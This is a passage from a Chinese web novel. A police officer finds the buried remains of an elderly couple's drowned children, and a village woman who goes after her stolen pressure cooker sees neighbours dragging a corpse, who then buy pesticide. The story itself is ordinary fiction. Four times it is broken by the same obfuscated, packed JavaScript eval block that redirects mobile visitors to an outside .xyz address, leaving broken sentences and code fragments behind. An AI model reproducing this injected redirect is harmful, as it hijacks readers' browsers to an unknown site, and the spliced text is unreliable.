没多一会儿,老爷子的三哥带着大儿子过来了,他们也听说了镇上发生的事情,自然也就知道了老两口被囚禁过的事情。 他先是在家门口找了找,没见到人。 “爸,四叔他们在下面。” “四弟,四弟妹——”他站在田坎上,赔着笑。 老两口看着他,觉得他的笑特别刺眼,尤其他还带着他儿子,怎么了,是来炫耀自己儿子长大了吗? “你们身体还好吗?我听他们说了你们这段时间的事情……” 大侄子提了一大袋子东西来,也在旁边帮腔。 “我爸这段时间一直睡不好觉,昨天的时候听到你们吃苦受罪的事情,哭了好几次,说是对不起你们。”他说起来也很动容,当年……当年是他说要去砸鱼,这些年,他也一直为这件事难受。 老太太看着他们,冷冷地说道:“猫哭耗子假慈悲。” 怎么?你们难受一下,就可以把她两个孩子的命抹平了?她怎么甘心! 老爷子没说话,但他的意思也很明显了。 三哥继续说道:“我知道你们还是恨我,我也不说这个,我也不知道还能活多久,你们年纪也大了,在这边单家独户的住着,确实不方便。” “我们觉得很方便。”老爷子开口说道。 “你们能不能不要跟我们继续置气了,都这把年纪了,这一次没事,下一次不一定能这么幸运,我们想你们搬回来住,大家有个照应。” 他把自己的儿子拉了一下,也开始难过了起来,说道:“等你们百年后,我儿子给你们摔盆送终。” 老太太看了看田坎上的人,叹了一口气,语气亲切了一些,说道:“三哥,你站过来一点,站在那个稻草上。” 三哥不明所以,但这毕竟是这么多年,又一次喊三哥,他虽说不知道怎么回事,但还是往旁边挪了两步,准备站在稻草上,结果脚下一空,稻草下居然是空的,他整个人就摔进了坑里。 他儿子赶紧把自己爸爸扶了起来,老两口这个时候已经往另一边去了,完全不搭理他们。 老两口不需要他的儿子给她们摔盆送终,老两口不需要他们来展示同情,老两口不需要他们提的那一大袋子东西。 老两口从头到尾需要的就是回到当年,这个男人不要把孩子们带到河坝里面去,或者带去了以后就把孩子们全部活着带回来。 做不到这个,其他的一切都是徒劳。 另一边,云松三个人回了城,她们并不是来自同一个派出所,回城就得分开了。 三个人都有些舍不得,一起工作的日子虽说很累,但也很磨练人,而且配合得很好。 云松第二天就回了自己单位,领导把她叫去夸奖了一遍,提到后续还会有表彰。 然后,她又成了派出所里一个最普通的民警,开始自己的一天。 早上出警,街上有两个商贩打起来了。 “刚才那个客人明明是先看中了我的东西!他在那里叽叽喳喳地说个不停!” “对方确实先看中了你的东西,但后面想买的是我的!” 她和同事过去调解了两个小时,终于把两边的人说开了。 刚回去,又有人报警,某某小区楼上噪音扰民。 云松和同事过去后,了解了情况,楼下的住户是上夜班,白天要睡觉,楼上的住户白天在家里带孩子,两个孩子,免不了跑来跑去。 两边都觉得对方有问题,说着说着都开始哭了起来。 云松和同事一人劝一边,楼下给出的解决办法是买个垫子。 楼上不愿意买垫子,觉得这是一笔不必要的开支,让楼下找个白天的工作。 楼下开始哭了起来。 整整两个小时,说不动楼上的,也说不动楼下的。 云松突然觉得佟锦的做事风格挺好的,于是她自己掏钱给楼上买了垫子。 同事:“……冒昧问一下,以后都要这样处理了吗?” 云松: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709507|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就这一次。”她总觉得自己这一次回来,好像没有以前有精力了。 云松就这样度过了一天,最后回到了家里,躺在了床上,她心里总觉得还有事情没有处理。 同林镇的事情,她闭上眼睛,都是同林镇的那些事情。 银行的事情,梅家的事情,廖家的事情…… 她的脑海里依旧运行着这些事情,导致处理自己日常的事物,反而没有那么多的耐心了。 其实,她在这里工作的时间更长,在同林镇的时间不到一周,可她总觉得好像有一部分还留在同林镇。 依旧在为同林镇的那些事情焦虑。 晚上,她并没有休息,开始查同林镇的河流走向,但她看完,感觉……看了一个表面。 她不是专业人士,看不懂。 第二天,她给自己的一个高中同学打了电话,她还记得对方现在是地理老师,想要她帮自己查一下同林镇的河流。 两天后,云松收到了对方的消息,那边的高中同学给了她几个地点。 云松挨个打电话,询问当地的警方,很快,达州的警方给了她想要的答案。 云松便在休息时间回到了同林镇,同林镇的人依旧忙忙碌碌的。 她去了猫头山,猫头山就一户人家。 门紧闭。云松敲了敲门,无人应答。 老两口不在家里,他们家旁边不远处生了一大片三把菇,密密麻麻的,很是喜人。 当然,也有可能不是三把菇,而是和三把菇长得像的毒蘑菇, 不过,无所谓了。 两口子拿了桶去摘,回来的时候提着一大桶三把菇,看到了云松在门口。 “警察同志,你怎么又来了?”老太太心生警惕,紧接着就想到了廖家小两口的事情。 “你不会是来求情的吧?我话先放在这里!” 云松不是,她自然知道,对于廖家两口子的最好保护就是让她们接受应有的惩罚,要不然这老两口真的会提刀上门。 “不是给她们求情,我有事找你们。” 老两口似信非信,让她进了屋。 云松一路过来,便是一直在想要怎么说。 有些事情,碰一下都很痛。 云松明白这种感觉。 “你到底想说什么?”老两口都不相信她不是来说情的,毕竟其他人都觉得,反正两口子都活着,钱也还给他们了,得饶人处且饶人嘛。 云松道:“我听村长说了你们家的事情。” “回去以后,我让我同学帮忙查了一下河流走向。” “她给我说了几个可能的地点,我对比了当年警方的记录。” “因为连续暴雨的缘故,你们的孩子的遗体去了达州那边,最后在达州那边的水坝被发现……” “因为隔太远了,信息不流通,孩子们被葬在公墓里。” 老两口看着她,似乎有点不敢相信,老两口知道,那个情况孩子活不下来了,这么多年了,老两口心里一直有个隐痛,孩子也许一直在某个水底里躺着……那多冷啊…… “你……你是说真的?” “真的。他们官方有记录。” 云松道:“我可以带你们过去,接她们回来。” 21.小案子(一) 第二十一章 对于云松这样的人来说,这件事并不算难,但对于老两口来说,这几乎是另一个世界的事情。 她带着老两口去了达州,联系了公墓的人。 她们就这样领回了自己的孩子。 当天,同林镇的人就知道了这件事,其他人都不知道这个警察是怎么找到的。 同林镇人没有人不知道猫头山的两个性格古怪的老人,也没有人不知道她们的孩子发生的事情。 她们脾气太古怪了,有一段时间,镇上有人从他们门口走过去,都会被他们用竹竿赶。 以至于有些大人吓唬小孩子,都是要说猫头山的那个人来抓你们了。 老两口把自己活成了一个可怕的象征,也让所有人都记住了她们的孩子。 现在,看到这个情况,还是很多人心里跟着难受。同林镇的人不少都送了花圈上去。 比起被聊太多次的老两口的事情,这一次大家对警察更感兴趣。 “她到底是怎么知道尸体在哪儿的?” “她们是警察,警察肯定有我们不知道的本领。” 对于同林镇的普通人来说,这些事情是大家的谈资,甚至隐隐地带着某种心安的力量。 可人和人之间的悲喜不相通,也有人为警察的这些事情感到恐慌。 同林镇的中心是依河而建的两条街道,周围是山,山上便是大大小小的村落。 同林镇北边的一个山村里,这里也同样在说这些事情。 “我听她们说,这个警察可不得了,她们说她的眼睛,看人一眼就知道人心里在想什么。” 故事在传播过程中总是容易加入传播者的个人解读,有些时候,还会因为传播者的奇思妙想,把故事变得千奇百怪。 “她还有了不得的能力,只是看一眼那个粪坑就知道里面有尸体,我听其他人说她就是在那个河边,摸了一下水,立马就知道老两口的孩子的尸体去了哪儿。” 说话的女人名叫廖山春,三十来岁,她是村子里面出了名的吹吹客,吹吹客的意思就是无论什么事情,从她嘴巴里面说出来就会变得特别夸张神秘。 比如说有一次她自己在山里摔了一跤,回来以后,就变成了她在山里遇到了鬼,跟村子里人说了一通怎么和鬼搏斗的事情。 她说出来好笑得很,尽管大家知道她胡说八道,但也很喜欢听她说这些事情。 但今天不一样,廖山春都没有用她以前那些夸张的肢体语言,而是特别认真地说:“以前我都是开玩笑,这一次这个警察的事情可都是真的。” “镇上所有人都在说这件事情。” 她面前的女人四十来岁,大家叫她长桂姐,她听到这话时,手上的鞋垫扎歪了一针,扎中了自己的手指。 这很不寻常啊。 廖山春继续说道:“我听说这个警察特别好,镇上很多人都在找她帮忙,说起来,我家里那个高压锅被偷了这么久,我心里还是不甘心,明天我就去找警察来村子查,看看到底是谁偷了我的高压锅。” 她说这个话的时候一直盯着自己眼前的长桂大姐,果不其然从对方眼神中看到了慌乱。 “我还有事情,我先回去了。”长桂说道。 廖山春一看,这就是心虚啊。 她女儿从里面房间出来:“妈,是她吗?” 她们家的高压锅可不得了,那是家里男人在城里买的。 她家男人跟她兄弟一起出去打工了,平时都不能回来。 今年过年的时候,男人回来,给家里买了一个高压锅,说是外面的人都喜欢用这个做饭,做饭比较快,不费柴。 平常,廖山春最得意这个高压锅了。 前几天,那口锅不见了。 她去找了村支书,村支书也没办法啊,毕竟也不能去别人家里找吧? 而且又只是一口锅而已,再金贵能金贵到哪儿去? 可母女两不甘心,她们就在别人家门口晃悠,毕竟偷了锅总要用吧。 其他人家里晃悠,人家也不说什么,唯独长桂大姐,一看到立马就把人赶走了。 “我屋头又没龙肉,一天到晚的,伸起个脑壳来看莫子!” 这就不对劲。主要是她们家人也不是那种刻薄的人,怎么路过她家门口都要说两句? 廖山春一琢磨,肯定是她们家偷了自己家的高压锅,每天要在家里偷偷用,所以别人就只是站在她门口,她们都要赶一下人。 今天她专门说了警察的事情,还说了自己要去找警察,对方反应果然不正常。 “肯定是她偷了咱们的高压锅。” 那高压锅真的特别好用,只需要把米和水放进去,煮饭非常快,还会有锅巴,也不粘锅,米饭好了的时候,发出的滋滋的声音,也特别气派。 家里铁罐子煮饭都是先掺米把水烧开,然后倒出多余的开水,再继续烧,非常麻烦。 她用惯了高压锅,这两天用铁罐子不习惯,还把手给烫了,真是越用越生气。 “妈,那明天咱们就去找警察吗?”女儿刚才在屋子里面一直在听她们说话,自然就听到了妈妈说要找警察的事情。 廖山春乐了:“傻丫头,咱们丢个锅,去找警察,警察不得笑话咱们啊?我刚才就是吓唬她一下,看一下我们的锅在没在她家。” “啊?”哪怕是亲女儿依旧不习惯自己妈妈张口就来的坏毛病。“那咱们怎么办?” “知道锅在他们家就行。今天晚上咱们就去把锅拿回来。” 大女儿心里觉得不太好吧。 廖山春没觉得有什么问题,他们偷了她的高压锅,她去把锅偷回来,没问题。 廖山春也不怕被人抓住,她到时候只要找到高压锅了就行,反正村子里只有她们家有高压锅。 晚上,等到大家都睡了,廖山春就把女儿推醒了。 她一个人还是有点害怕。 女儿迷迷糊糊爬了起来,还以为到了早上,径直去梳头发,准备换衣服去学校读书。 “没有到早上,咱们去拿高压锅。” 大女儿这才醒过来,母女俩走出了房子。 廖山春很少在晚上出门,村子里的夜晚,安静起来有些吓人。 但高压锅,那是高压锅,好用的高压锅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721193|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大女儿紧紧贴着自己的妈妈,出了门,她们的左边是已经割完了稻谷的水田,蛙鸣声此起彼伏,身后是已经褪色成黑影的森林,森林深处传来了某种动物的叫声。 她赶紧靠得更紧了。 “妈,我们这个样子是不是不好哦。”她家大姑娘现在十岁,本来就害怕大晚上,此刻扭扭捏捏地说道:“我感觉我在做贼。” 廖山春自己其实也有点害怕,现在小同伙还打退堂鼓,她只能赶紧哄自己闺女:“傻丫头,我们是去拿自己的东西,拿自己的东西怎么能叫贼?” “可我总觉得不太好。”小姑娘没有被亲妈迷惑,还是过不去心里那一关。 “妈答应你,等拿回来了,咱们炖猪脚吃!” 猪脚啊……小姑娘咽了咽口水。 “猪脚炖洋芋果果,你不是最爱吃这个吗?” 小姑娘心动了,她早就想吃家里的猪脚了。 廖山春继续说道:“而且,他们突然偷咱们的高压锅,说不定也是去压猪脚。” 同林镇每年过年会杀猪,新鲜猪肉裹了盐辣椒面花椒,挂在灶上,接受烟火的熏烤。 现在十月份,腊猪脚被熏的干干的,拿刀都不一定能砍得动的程度,很难煮耙。 “到时候我们就直接把猪脚一起拿回来,算是给我们的赔偿。” 大闺女咽了咽口水,分寸还是在:“我们就把自己的高压锅拿回来,猪脚不要拿别人的,我们炖自己的猪脚。” 也行,别把人得罪太死了,她闺女还挺有分寸的,随她。 廖山春想了想,觉得自己把高压锅拿回来就行,毕竟她家里又是老人又是孩子的,也不要把人家偷高压锅的事情宣传出去。免得得罪人。 她想得简单,但真到了人家门口,还是有些紧张,毕竟是第一次干这样的事情。 母女俩走在人家门外,时不时往里面偷看,战战兢兢,小心翼翼,就……真的很像小偷啊。 她们俩正在想办法要进去的时候,大门突然打开了。 只见,长桂家两口子拖着一个长物体,从屋子里往外拖。 拖起来是真的很吃力,累是真的累。 可没办法啊。 听说那个警察又回了同林镇,他们是真的害怕。 两口子使劲,很快就拖到了外面。 她们在院子里停了下来,白天特别好说话的两口子,配合着冷白色的月光,远处黑压压的森林,此时此刻阴森可怕起来。 “现在怎么办?” “先找个地方埋起来。” 月光下,那被拖出来的东西露出了真容,那是一个人。 月光下,男人的脸已经腐烂了,看不清楚脸了,可一双眼睛依旧圆睁,像是在看着月亮。 两口子又拖了一下尸体,尸体的头朝着旁边偏了一下。 那双睁着的眼睛便看向了旁边的风箱。 此时,土墙旁边的风箱后面,廖山春吓得目瞪口呆,灵魂出窍。 女儿在里面一些,看不到什么情况。 下一秒,廖山春回过神来,捂住了女儿的眼睛。 杀……杀……杀人了? 22.谁偷了我的高压锅(二) 第二十二章 长桂两口子拖着尸体走远了,廖山春依旧不敢出来,恐惧使得她腿发软,心跳得太快了,她觉得自己快要死了。 于是求生的本能让她去想另外的事情。 她想起了过去奶奶说的话,不要去别人家门口打望,指不定就望到了不该望的事情。 以前没当一回事,主要是那个时候奶奶没说万一望到了别人杀人怎么办! 奶奶要是这样说,廖山春觉得自己一辈子都会遵守不去别人家门口望! 不过,如果是奶奶的话,她可能不怕看到有人杀人,毕竟奶奶天天说自己曾经杀过土匪,还是拿锄头杀的,说是跟挖地差不多。 老太太要是还活着,肯定要说她胆子小。 也许是内心的调侃,也许是想起了奶奶杀过土匪,她好像没有那么害怕了。 廖山春旁边的女儿并没有看到尸体,只知道在拖东西,走了,然后就被自己妈妈捂住了眼睛。 她也不敢动,怕被发现来偷东西,到时候她在村子里就是小偷了,没有一个小孩子愿意被人称为小偷。 直到她妈妈缓过劲来,放开了手。 “妈……” “嘘,我们快点回去。” “高压锅……” “不要了,”命都快没了,还要什么高压锅? “你长桂婶她们杀人了,现在去埋尸体了。”廖山春还是要把事情的严重告诉女儿。 “啊?杀人了?妈,咱们要去找人啊。”女儿没有直面尸体,她虽说害怕,可还是比自己母亲好一些。 廖山春这才反应过来,对啊,杀人了!她得找人来! 这还是第一次遇到杀人事件,这种曾经只在露天电影里出现的事情,突然就到了面前了,廖山春乱了分寸,现在女儿一提醒,她自己也反应过来了。 “是,是,应该找人……”廖山春想了想,说道:“你先回去睡觉,我去找村支书他们……” “妈,我跟你一起去。”这晚上,她一个人回家,害怕。 “不行,你不能跟去。”廖山春想了想,决定先把女儿送回去,然后换她公公婆婆一起去找村支书! 对,到时候他们三个大人雄赳赳气昂昂地走到村支书家,跟村支书一起去逮住这两个杀人犯。 说不定也会有什么奖励!镇上那起案子破了以后不是每个人有500块钱的奖励吗? 那可是整整500块钱! 一瞬间,她不仅不害怕了,甚至觉得身体里充满了力量。 廖山春快走几步,拉着女儿很快就回到了房子里。 “你先去睡觉,把门关上,不是我们回来你不要开门。” 嘱咐完了大女儿,她就去了旁边房间敲门。 “妈,妈!” 老年人本来就觉轻,她们回来的时候,里面房间里的两个老人就已经醒了。 现在听到拍门声音,两个人都不作答,指定是又有什么鬼主意! 以前她们家这个儿媳妇就干过这种事情,那个时候还是冬天,半夜把她们叫起来,说是娃儿发高烧了。 结果她们出来了,就发现这儿媳妇儿是想晚上去捉黄鳝,自己又不敢一个人出去,所以就把她们俩也叫起来。 现在,两个老人就躺着,就是不吭声。 “妈,你快醒醒,我刚才出去碰到长桂家杀人了我们一起去找村支书。” 说其他人可能还会相信,可长桂家?就那两个老实巴交的人,杀人?不被杀就是好事了! 两个老人觉得肯定又是说谎,这儿媳妇嘴巴里就没两句老实话。 “你们肯定醒了,你们肯定是装作没听到。”廖山春很气,冲着屋子里的人说道:“行,行,你们不起来是吧,算了,现在我去找村支书了。我没有回来,那肯定是长桂家把我也杀了,到时候你们负责把两个孩子养大!” 里面依旧没有动静。 廖山春被气笑了,说道:“等着吧!我自己去村支书家!到时候破了案,有了钱,一分钱都不分给你们。” 她这话,又是死又是分钱的,里面两个老人都觉得好笑。 廖山春咬咬牙,她自己去。 主要是明天天亮了再去找人,没办法像现在这样把人逮个正着。 而且,这件事她弄好了,以后她跟人吹牛时,还有谁敢说她吹吹客? 这样一想,她就有了勇气,出了门。 夜还是那个夜。 刚走两步,她又回来了。 拿个锄头!防身。 有了锄头,好像的确没有那么害怕了。 她扛着锄头往猪圈那边走去,还好,村支书家的方向跟长桂家不是一个方向。 廖山春心里头想着要怎么跟村支书说这件事。 她主要是怕村支书也不相信自己。 她转念一想,应该不会不信,这么大的事情,就算是不信,肯定还是要出来看一下。 她很快走上了山坡,村支书的家就在另一边的湾里。 “山春?” 头顶突然有人叫她,这声音……她身体都抖了一下。 廖山春抬起头,山坡上,正是扛着锄头的长桂两口子。 两口子都扛着锄头,他们去埋尸体的时候是朝着这个方向吗? 这运气也太差了。 而且对方是两个人。 二对一。遭了。 那两个人正在往下走,朝着她的方向而来。渐渐而进。 廖山春心跳加速。 “大晚上的不睡觉,你在这里干什么呢?还扛着个锄头。”长桂皱着眉头,问道。 廖山春扛着锄头的手都在抖,恐惧占据了全部心神。 很快她就想起了,以前自己晚上也出来过,所以也不是不能解释这个问题。 于是,她手脚都在抖,面上还是装作镇定,说道:“家里孩子这两天馋得很,这不,我扛着锄头出来挖田,看能不能挖到黄鳝。” 长桂看着她,似乎不太相信她的说法,说道:“你要去哪儿挖,我们陪你。” 廖山春指了指前面的大水田。 “这个吧,你也知道的,这是王家老二的,他们家心眼小,我白天不敢来挖黄鳝。” 长桂点了点头,廖山春也不知道她相没相信。 廖山春就看到长桂大姐转过头,对自己男人说道:“山春妹子一个人在这里不安全,正好咱们没事,帮她一起挖吧。” 廖山春赶紧说道:“这多不好意思啊,我自己来!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725551|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一边说一边往田里跑,希望对方能放过自己。 然而,她的身后,那两口子也跟着一起跑了过来。 三个人站在田里,一人一把锄头。 廖山春太紧张了,尤其是看到另外两个人在挥锄头了。 下一秒,那两个人就已经在挖松软的泥巴了。 廖山春看着两个弯腰挖泥巴的人,她也只能开始挖田找黄鳝。 旁边的长桂一边挖田一边说道:“山春妹子,你不要嫌我多嘴,你男人又不在家,家里就你,再就是两个老人和两个孩子,平时晚上不要出来,容易出事。” 这是威胁,这肯定是威胁! 杀过人的人,就是不一样了。说话和以前完全不一样了。 旁边的男人也说道:“是啊,要是出什么事情,一辈子就毁了。” 廖山春听得头皮发麻。 他们两口子的意思是不是说,她一个女人,上面有老,下面有小,要是敢去找村支书,就要杀她全家。 太狠了,以前的长桂姐,多好的人啊,现在怎么变成了这个样子? “你听到没?别不当一回事!你一个女人,又带着半大的孩子……”长桂似乎不耐烦了。 廖山春心里是害怕又愤怒,但此时此刻,她只能一边挖泥巴,一边说道:“我知道了,我就是今天出来挖个黄鳝,以后不在晚上出来了。” 诶诶诶!有一条黄鳝! 她赶紧拽了出来,其他的先不管,先把黄鳝给抓住了再说。 旁边两口子也陆陆续续挖到了黄鳝,两个人都是把黄鳝的头给砸了,然后给了廖山春。 另一边,廖山春的公公婆婆等了一会儿,儿媳妇儿出去好像没回来。 “怎么还没回来?” “不会真的出事情了吧!” 两口子赶紧爬了起来,穿上衣服,穿上鞋子就往外走。 老两口走出家门,还没有走过猪圈就看到了一手拿着锄头,另一手提着一串黄鳝的儿媳妇儿。 想太多了,还是出去挖黄鳝了! 老两口松了一口气,重新回到屋子里面睡觉。 廖山春提着黄鳝回来,心里虽说害怕,但还是没有把黄鳝给扔掉,毕竟也是一口肉。 她满头都是汗,整个人像是从水里捞出来的一样。 她……刚死里逃生了。 她本来就是一个喜欢夸张的人,她的夸张也是出于自己极其丰富的想象力。 此时此刻,她已经把外面那两口子想象成了变态无敌的杀人狂魔。 另一头,被当做杀人狂魔的两口子收好了锄头,疲惫和恐惧让她们没有了力气,两个人在田坎上坐了下来。 两个人看着不远处,谁也没有说话,她们身后是黑压压的森林,压得人喘不过气来。 一切都像是在诉说着一个隐秘的痛处。 不知道过了多久,天快亮了。 长桂说道:“她一直在害怕我们,应该是看到了我们的事情。” 男人点头。 “那我一会儿去集市买农药,两瓶够不够?”男人开口道。 “够了……要是有新鲜肉,带一块回来,想吃红烧肉了。”长桂姐说道。 “要得。” 23.谁偷了我的高压锅(三) 第二十三章 廖山春精神高度紧绷,躺在床上的时候依旧非常害怕,整个人忍不住颤抖。 直到天蒙蒙亮,她听到公公婆婆起床的声音,她才眯一会儿眼睛。 这一会儿,便一下子到了十点多,太阳都快照进屋子了。 醒来时,廖山春看着自己家这破了一个洞的床罩子,松了一大口气,她做了一个噩梦! 还好还好,是个梦。 她回忆了一下梦,她怎么做梦梦到去找长桂姐家里要高压锅,结果遇到了长桂姐家杀人了,在拖尸体。 最后,她和长桂姐还有她男人,三个人在田里挖黄鳝…… 真的是一个非常吓人的梦。 她迷迷糊糊地醒过来,走出房间就看到她婆婆正要给黄鳝破肚子。 等等,黄鳝! 旁边的盆里面是一串被砸了头的黄鳝。 不是梦! 她一个激灵,清醒了过来。对啊!昨天晚上她真的去了长桂姐家里,真的看到他们在拖尸体。 今天外面是大太阳天,阳光照在她身上,她居然感觉不到暖。 “你这是什么了?昨天晚上出来挖黄鳝撞到鬼了?”婆婆说道。 廖山春摆了摆手,她还记得昨天晚上自己求助她们都不相信自己,今天白天说了铁定也不会信自己。 说不定还要去当笑话传到大家都知道,到时候可就完了。 对啊!!! 廖山春赶紧跟自己婆婆说道:“妈,我昨天晚上就是开玩笑,你们不要说出去,到时候别影响了我和长桂姐的关系。” 婆婆愣了一下,这倒是新鲜啊,她这个儿媳妇儿这辈子说过的大话可不是一两句,但这是第一次说了这种古怪话怕别人知道。 婆婆道:“我平时不爱和人说话。” 廖山春一想,这倒也是。 她想着还要嘱咐一下大女儿……大女儿呢? 怎么起床后都没有见到她? “妈,大雁呢?” “早上就出去了,不知道去哪儿野了。” 山里的孩子,当然是到处跑着玩,没两个能闷在家里。 廖山春心里突突几下,赶紧跑了出去。 “大雁!!!” 她穿过了猪圈,跑过了大水田,山坡上好几个人都看到了她。 “大雁好像去镇上了,跟村支书家的人一起去的。” “这么急是出什么事情了吗?” 廖山春赶紧往村支书家走,村支书家的老母亲在屋檐下折菜。 “大雁跟村支书去镇上了?” “是啊,这是怎么了?”平常赶集日,会有孩子跟大人一起去镇上赶集,这很正常。 廖山春松了一口气,跟村支书一起去,应该没事。 她心里头还是不安,自己也往镇上走。 等她翻过了几座山,很快,她就看到了大雁,还有她旁边的陌生女人。 那个陌生女人,廖山春一眼就能看出来这不是普通人,哪怕是有一段距离,看不清楚人,廖山春也能发现她很高。 “大雁!” 大雁原本兴致勃勃地跟自己刚认识的警察阿姨说话,现在听到妈妈的声音,立马招手:“妈!” “你吓死我了!”昨天晚上出了那样的事情,今天早上一大早起来发现自己女儿不见了。 廖山春已经跑到了女儿跟前,这个时候,她才看清楚这个陌生女人。 对方二三十岁,比她高一个头不止,她有一双平静又明亮的眼睛,此刻正注视着她,这种注视是无声的,也没有一点伤害,晴天晚上的月亮一般就会有给人这样的感觉。 廖山春过去见到城里人会不好意思,但此刻,她却没有觉得不好意思。 对方对她自我介绍道:“你好,我是平城公安局南区分局金光派出所的民警云松。” 警……警察?这个身份,配合着对方沉静的目光,挺拔高挑的身姿,再加上温和的语气,廖山春一瞬间,觉得自己身上所有的恐惧都被放了下来。 她女儿可真聪明! “我叫廖山春,你叫我山春就行。” “山春,你好。”云松今天早上本来要回城里了,结果她还没有动身,外面就有人叫她,说是有一个小姑娘找她。 她出去,小姑娘气喘吁吁地说家里高压锅丢了,她和妈妈去找高压锅,结果看到有人死了。 她便赶紧收拾跟着上来看看怎么回事。 廖山春也没有想到自己女儿速度这么快,她咽了咽口水,反正警察都来了,倒也没有不说的道理。 “我亲眼看到他们拖着尸体从房子里出来。” 她说这个话的时候,眼神就一直在留意对方,她既害怕对方不相信自己,又怕对方也露出害怕的表情。 云松问道:“当时有没有看清死者是谁?” 廖山春心里松了一口气,说道:“当时是晚上他的脸有点烂了,看不清。” 云松说道:“村子里这段时间有人失踪吗?” 廖山春从自己那一堆乱麻的思绪中找到了一个线头。 对啊,这死的人是谁啊? “我想想看。” 首先,肯定是男人,脸基本上烂了,看不清楚是谁。 可肯定是村子里的人吧,两口子总不能在外面杀个不认识的人,再拖回家里吧。 可这段时间,村子里没有听说谁不见了。 奇了怪了,一个人,突然就不见了……肯定家里人要担心。 等等! 廖山春突然想起来,村子里还真有一个人,如果不见了,大家也不会当一回事。 “村子里有个人是有段时间没有看到了,而且也没有人会觉得不对。” “谁?” “孙二。” “这是谁?” 这说起来就话长了。 每个村子都有那么一两个歪瓜裂枣,一天到晚的正事不干,到处偷鸡摸狗,脾气还大,看他一眼就知道他这辈子迟早有一天要被砍死。 她们村子也不例外,孙家的二儿子就是这样的歪瓜裂枣。 “孙二这个人从小手脚就不干净,经常偷别人的东西,长大一点就经常偷父母的钱去镇上混几天,没钱了就回来。” “他父母让他去隔壁镇学木工,结果,跟着师傅去别人家做工,还偷了别人家的钱,手艺人本来就要脸面,当时气得恨不得打死他,直接让他回来。” “结果他回来后,说谎,说是师傅看不起他,毕竟还是交了学工费,父母便去找师傅麻烦。” “师傅气到来村子里骂,一大家子都跟着丢脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732646|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “这件事后,他父母也灰心了,也不管这个儿子了。” 而且……而且,廖山春记得村子里还有人说这个孙二除了偷鸡摸狗,手脚也不检点,还因为偷看人洗澡被打过一回。 廖山春跟他也有过接触,她的印象就是这个人手特别贱,嘴巴也特别贱,当时她就是洗了衣服,晾在后阳沟里,对方经过的时候,就说荤话。 她不搭理他,他还越说越起劲了,直到她泼了一盆水出来,才走开。 真让人想打死他。 现在想来,还真有可能是他。 这……这…… 廖山春觉得吧,人和人还是不一样,死的是其他人,廖山春就肯定会觉得这两口子有问题,怎么能杀人呢。 可如果死的人是孙二。 那肯定是孙二做了什么事情,逼得长桂家杀了他。 这都是孙二多年的口碑。 廖山春再看看旁边的警察,心里一下子慌了。 完了,她们这算不算是好心办坏事了? 廖山春的想法一下子就变了,如果真的是孙二死了,长桂家的人,还得给这种人赔命啊? 廖山春出生在70年代,她的认知就是杀人偿命,她小的时候听过不少这种故事——杀了人最后要吃枪子。那个时候听的那些故事里,才不管你是不是婆婆,是不是丈夫,反正你杀了人,你就得吃枪子。 另一边,长桂两口子的农药已经买回来了。 平常的饭桌,现在就放着两瓶农药,长桂的男人面前摊着一本小学生用的写字本,他手上拿着一支铅笔。 “是我们……”过去在扫盲班学的知识还是用上了。 “杀字怎么写?” “三点水,一个少。” 长桂男人写了下来,看着怪怪的。 “感觉不像。” “差不多就行了,又不是写书。” “是我们沙了孙二,我们把命pei孙jia。” 这件事肯定瞒不过去,两口子都是老实本分的人,这段时间天天看着腐烂的尸体,天天做噩梦,没有一天好受。 不管廖山春发不发现,两口子都想好了这个结果了。 只是,挨枪子太痛了,她们不想去城里挨枪子。 所以,她们买了农药。 门外,有人敲门。 “长桂在家吗?” 是廖山春的婆婆。 老太太手里拿着一个小簸箕,里面装着的是茄子和辣椒。 “家里茄子长得好,想着给你们送一些来。”老太太一边说,一边往里面走。 “这个……不用不用。” 男人赶紧把本子收了,不能让人看到了。 “跟我客气什么。”老太太赶紧把茄子放在了桌子上,“又不是什么贵重的东西,我前两天路过你们家菜地,看到你们的菜都没了,正好我们家有多的。都拿着啊。” 